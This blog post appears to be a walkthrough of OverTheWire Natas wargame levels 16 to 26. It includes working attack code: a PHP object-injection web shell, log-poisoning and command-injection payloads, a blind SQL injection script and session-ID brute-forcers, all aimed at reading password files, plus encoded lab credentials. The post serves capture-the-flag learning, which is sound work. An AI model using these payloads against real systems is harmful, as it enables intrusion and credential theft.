Thursday, November 27, 2014

Natas 26


Natas 26 is a drawing tool that gives you the ability to input X,Y coordinates and see a picture of a line drawn between two points:



 Looking at the code, it looks like more PHP code, similar to many of the past levels:



 One thing that immediately sticks out is that the filename of the image uses the session ID directly and is clearly injectable:



We can verify the injection like this:



But that alone isn't going to be enough to get the flag for the next level (located in /etc/natas_webpass/natas27).

After browsing the code a little bit more and not seeing anything that stuck out, I started wondering about the Logger class. It doesn't seem to be used anywhere, so it's strange that it's there.

I wondered if there was any way to use it for a while, and then stumbled on this article on OWASP's website: https://www.owasp.org/index.php/PHP_Object_Injection

It looks like their PHP code will unserialize an arbitrary object contained in the "drawing" cookie. Because of this, we can use this by sending it a serialized Logger object with the fields set in such a way that it will create a shell.php script on the server for us.

I wrote a bit of PHP to run locally to create the cookie object we need:

<?

class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
     
        function __construct($file){
            // initialise variables
            $this->initMsg="the answer is <? passthru('cat /etc/natas_webpass/natas27'); ?>\n\n";
            $this->exitMsg="the answer is <? passthru('cat /etc/natas_webpass/natas27'    ); ?>\n";
            $this->logFile = "img/shell.php";
        }                      
     
        function log($msg){
            ;
        }                      
     
        function __destruct(){
            ;
        }                      
    }


$obj = new Logger("hello");

echo serialize($obj);
echo "\nbase64_encoded:\n\n";
echo urlencode(base64_encode(serialize($obj)));

?>



Now, if we override the cookie we receive from the server with this one, we can send the custom Logger object and have the server create the PHP script on the server:



Next time we browse to the site, we can see in the error log that our Logger object was created!



Navigating to img/shell.php will run our PHP script and give us the flag-


Sunday, November 23, 2014

Natas 25


Natas 25 shows a quote from "Bad Boy Bubby" and offers a few translations from a dropdown menu:



Since there's no form or password, it seems like we'll need to read from the /etc/natas_webpass/natasXX file again.

Here's the code:



It looks a bit longer than previous levels...

Going through it, it seems like two parts in particular stick out as vulnerable:


(1)  a very unsafe way of checking for directory traversals. 
(What happens if we submit the text "....//", for example?)



(2) a part of our GET request is directly written into a log file.
(What happens if we set our User-Agent string to "<? ___ ?>", for example?)


Hmm, how can we use these?

It looks like the strstr($filename, "natas_webpass") is going to effectively block us from directly accessing the natas_webpass directory, but what else can we do?

The method I went with was to grab the log file with the GET request, while setting the User-Agent string to <? readfile("/etc/natas_webpass/natas26") ?>





This should write our PHP code into the log file, and when we view that log file via the directory traversal in the lang= parameter, we should see the contents of the file dumped within the contents of the rest of the log.

In the Response, we can see our code and the contents of the file /etc/natas_webpass/natas26!

Natas 24



Natas 24 looks a lot like the last level -- a password login page:



Looking at the code, it looks pretty short again too!



Because the code is so short, it seems like whatever the vulnerability is will have to be within the strcmp() call.

We can guess that the probably aren't expecting us to brute-force the keyspace (the size field of the input form above is 20!), but there's got to be something else...

After trying a few things unsuccessfully and googling "strcmp php vulnerability", I came across a page that went into some interesting details about how strcmp() may return 0 in cases where it's unable to do the comparison (for example, if one of the objects is an Array and the other is an integer). 

This got me thinking, how can I set passwd to an array?

I tried entering Array() into the field, but that didn't seem to work.

Eventually, I realized that I could change the type in the GET request itself:



That seems to work -- the comparison fails to evaluate correctly, and we get the natas25 passcode!

Natas 23


Natas 23's welcome page is just a Password form with a login button:



Looking at the source code, it looks like the credentials to Natas 24 will be given if our "passwd" parameters passes two checks:
  1. PASSWD must contain the substring "iloveyou"
  2. PASSWD > 10 must evaluate to be true



Looking through some PHP documentation, it seemed like 1e10 is valid notation and will pass the second check.

I tried a few random things, but the one that worked was appending "iloveyou" to "1e10" like this:


Saturday, November 22, 2014

Natas 22


Natas 22 looks pretty weird from the start-- it's just a blank page:


Looking through the source code, it seems like it's going to be a pretty simple level (although not necessarily easy):





My first thought is that it looks too easy.... the second PHP snippet looks like it's checking whether there's a "revelio" parameter in the GET request, and, if it's present, it displays the natas23 info.

When I go to submit the request with an additional "?revelio=blah" added on to the end of the URL, I get brought to the same page as before.  Hmm....

Looking again, you can see the first PHP snippet will check if your PHP session is set as an admin, and redirect you with a Location header if you aren't.

This should be breakable with BURP, though-- all we need to do is see the first response and read the password for the next level once and then it's okay if we get forwarded on to somewhere else.




There it is. We can ignore the future request that gets immediately sent out by the browser...we're done!

Natas 21

Natas 21 looks like it'll be something new -- two colocated webpages, one that displays the normal "you are logged in as a regular user" text and one that lets you edit the webpage's CSS settings.


main page


 colocated page


Looking through the source code, it looks like the main page looks a lot like previous levels. If $_SESSION["admin"] == 1, then you'll get to see the passphrase for the next level.


source code for main page


If we assume that sessions are shared across the two site (since they're co-located), then any changes we make to the session of a user on the secondary website should affect the session of a user on the main page too.

If we submit the form on the CSS editor page and intercept it with BURP, we can add additional POST parameters -- specifically the "admin=1" bit:



If we note down the PHPSESSID variable for this session, and submit a request as that user on the main page, the PHP script will give us the password to Natas 22!


Saturday, November 15, 2014

Natas 20


Natas 20 looks different from 18 & 19 and only prompts for a name:


Taking a quick look at the source code (which is a bit longer than the previous challenges), it looks like it uses the name you give it in the page and associates this name to you using a session cookie.

By adding "?debug=true" on to the end of the URL, you can have it print out some additional debugging information, which might be useful later:



 Interestingly, it's immediately clear that the welcome page is vulnerable to XSS:



But, after playing around with this for a while, it seemed like that wasn't going to get me anywhere.

Looking through the code again, it looks like the parsing and setting of the session values is done in an interesting way:


This opens some doors -- if we can write arbitrary data to the file that's being read, what's to stop us from adding a newline character somewhere in there to have the reader interpret our single key-value pair as multiple?

Sending the following request twice does just that (%0A is url-encoded newline):


On the second response (the first one was just for writing to the session file), we get the password!



Natas 19

Natas 19 looks a lot like the 18th challenge, except it looks like they've made a small change to how they pick the Session ID values.


If no change was made to make the ID space larger, the token can still be brute-forced.

First, let's make a request:



We can see that they still use the same "PHPSESSID" cookie, but it does look like it's no longer a simple integer value like before:



Using BURP's Sequencer, you can look and see how much entropy is in the Session ID tokens assigned by the server:

(note: the PHPSESSID value in this picture is incorrect and from an older run)


After running it for a while, it looks like there's still only 6 bits of entropy! That should easily be brute-forceable.



Looking through the tokens, it looks like the last characters of the token are always constant and are padded in front with 0-3 values between "31" and "39".

With this in mind, I wrote a quick python script to brute force the token:

import itertools
import requests

character_space = [""] + map(str, range(31, 40))
constant_tail = "2d61646d696e"

for x in itertools.product(character_space, repeat=3):
    token = "".join(x) + constant_tail
    url = "http://natas19.natas.labs.overthewire.org/index.php"
    payload = {"username": "admin", "password": "admin"}
    headers = {"Cookie": "PHPSESSID={0}".format(token), "Authorization": "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}

    print("trying {0}...".format(token))
    r = requests.post(url, params=payload, headers=headers)

    if "You are logged in as a regular user" in r.text:
        print("fail")
    else:
        print(r.text)
        exit()


After letting it run for a while, it eventually works!






Tuesday, November 11, 2014

Natas 18


Natas 18 looks a bit different from the previous ones:



Looking through the source code, it looks like this one doesn't make use of a database and instead relies on session cookies for authentication.



 While it's a bit more code than the previous challenges, one thing that sticks out is the comment on the first line: "640 should be enough for everyone".

That's interesting.


If we intercept the POST request that gets sent when we click the Login button, you can see the PHPSESSID variable is set to 389. That matches well with our previous understanding that PHPSESSID values were drawn randomly from values < 640.

Fortunately for us, 640 is much too small of a space to be considered secure.

What would happen if we wrote a script that repeatedly sends these login requests, while filling the PHPSESSID cookie value with increasing numbers starting at 0 and going to 640?

Eventually, our PHPSESSID cookie would match the Admin's session ID cookie, and we should get his privilidges.

I wrote a quick script using the Python requests library:

import requests

for i in range(700):
    url = "http://natas18.natas.labs.overthewire.org/index.php"
    payload = {"username": "admin", "password": "aa"}
    headers = {"Cookie": "PHPSESSID={0}".format(i), "Authorization": "Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA=="}

    r = requests.post(url, params=payload, headers=headers)

    if "You are logged in as a regular user" in r.text:
        print("fail")
    else:
        print(r.text)
        exit()


You can see it will try successive PHPSESSID values until it eventually doesn't find the text "You are logged in as a regular user" in the response body. (Note the username and password parameters don't really matter...)

Here's the output, and you can see it finishes successfully!



Monday, November 10, 2014

Natas 17

From the welcoming page, it looks like Natas 17 will be some kind of SQL injection again.





Looking through the code, it looks like the request parameters are being directly passed into the SQL query again, but this time the output that's displayed back to us is commented out.



 This causes a problem because it no longer matters what the query returns -- in all cases, there is no response.

We can, however, use a side-channel like the time it takes for the SQL query to execute. This is the first example of a "blind" SQL injection so far.

I wrote a quick python script that automates a process of constructing the query so that if a guess of a substring of the password is correct, the query will sleep for 2 seconds. The script then tracks how long each web request takes to return and uses the timing information to decide whether the guessed password substring was correct.

Here's the code:

import urllib2
from datetime import datetime

auth_head = 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=='
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))

def make_url(char, start):
    return "http://natas17.natas.labs.overthewire.org/?username=natas18%22%20AND%20ASCII(SUBSTR(password,"+str(start)+",1))=ASCII(%22"+str(char)+"%22)%20AND%20SLEEP(2)%20AND%20%22a%22=%22a&debug=true"

def is_correct(char, start):
    #print make_url(char, start), "-->",
    req = urllib2.Request(make_url(char, start))
    req.add_header("Authorization", auth_head)
    t1 = datetime.now()
    response = urllib2.urlopen(req).read()
    t2 = datetime.now()   
    #print (t2 - t1).seconds
    return (t2 - t1).seconds > 1
   
       
password = ""

while len(password) < 32:
    print "Password =", password
    for char in alphanumerics:
        if is_correct(char, len(password)+1):
            #print "correct! -->", char
            password = password + char
            break

print password
print "Woohoo!"




The output takes a few minutes to process, but the result is the password for natas18!





Saturday, November 8, 2014

Natas 16

It looks like Natas 16 is similar to some of the earlier challenges that will grep through a dictionary.txt file for us--



While there's no SQL injection here, it does look like it's vulnerable to regular command injection.



I wrote a short python script to automate the process here. We'd like to grep through /etc/natas_webpass/natas17 instead of the dictionary.txt file, but it looks like the characters we've used in the past have now been disallowed.

import requests

auth_header = {'Authorization':'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=='}
alphanumerics = map(chr, range(65, 91) + range(97,123) + range(48, 58))

def make_url(string):
    return "http://natas16.natas.labs.overthewire.org/index.php?needle=hello$(grep -n " + string + " /etc/natas_webpass/natas17)"

def is_correct(string):
    print make_url(string)
    resp = requests.get(make_url(string), headers=auth_header).text
    return "hello" not in resp
       

# make a list of all possible characters
print "making a list of all characters in pw file..."
possible_chars = []
for char in alphanumerics:
    if is_correct(char):
        print char
        possible_chars.append(char)

# print out all possible characters
print possible_chars

# try to find the full password by appending possible characters to either end of the password we have so far
password = ""
while len(password) < 32:
    print "Password =", password
    for char in possible_chars:
        if is_correct(password + char): password = password + char
        if is_correct(char + password): password = char + password

print password
print "Woohoo!"


We can still use the characters we need to create a subshell, though -- $(xxx) -- so what if we grep for a word we know is in dictionary.txt like "hello" and add the output of the subshell command to the end of it? We know grepping for hello will return true, but grepping for hello1, hello2, hello3, etc. will all return false.

Trying hello$(grep -n _____ /etc/natas_webpass/natas17) as $key gives us the final command grep -i "hello$(grep -n _____ /etc/natas_webpass/natas17)" dictionary.txt.
This seems like it'll work great. We put different characters in place of the ____ and we can now test whether substrings are present within the password file.

The script eventually finishes and returns the password: